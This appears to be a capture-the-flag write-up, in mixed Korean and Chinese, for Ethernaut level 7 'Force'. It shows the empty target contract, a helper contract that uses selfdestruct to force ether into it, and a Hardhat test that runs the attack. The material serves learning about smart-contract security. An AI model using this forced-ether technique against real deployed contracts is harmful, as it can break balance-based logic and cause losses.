Ethernaut 시스템-레벨 7(Force)

2752 단어

레벨 7(포스):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}


通关要求



使合约的余额不为0

要点



合约要能接受转账,需要合约有receive/fallback或者其他外部方法是payable,不然转账过去会报错.
但有个例外就是selfdestruct指定的接收地址,是无法拒接的把destruct后者的余额转给接受

解题思路



계약/07ForceRun.sol

contract ForceRun {
    function destory(address _levelAddress) external payable {
        //selfdestruct指定的地址,就算没有receive/fallback也是无法拒接把balance转给它
        selfdestruct(payable(_levelAddress));
    }
}


test/07Force.js

  it("attacks", async function () {
    await runContract
      .connect(player)
      .destory(levelContract.address, {
        value: ethers.utils.parseEther("0.1"),
      });
  });

좋은 웹페이지 즐겨찾기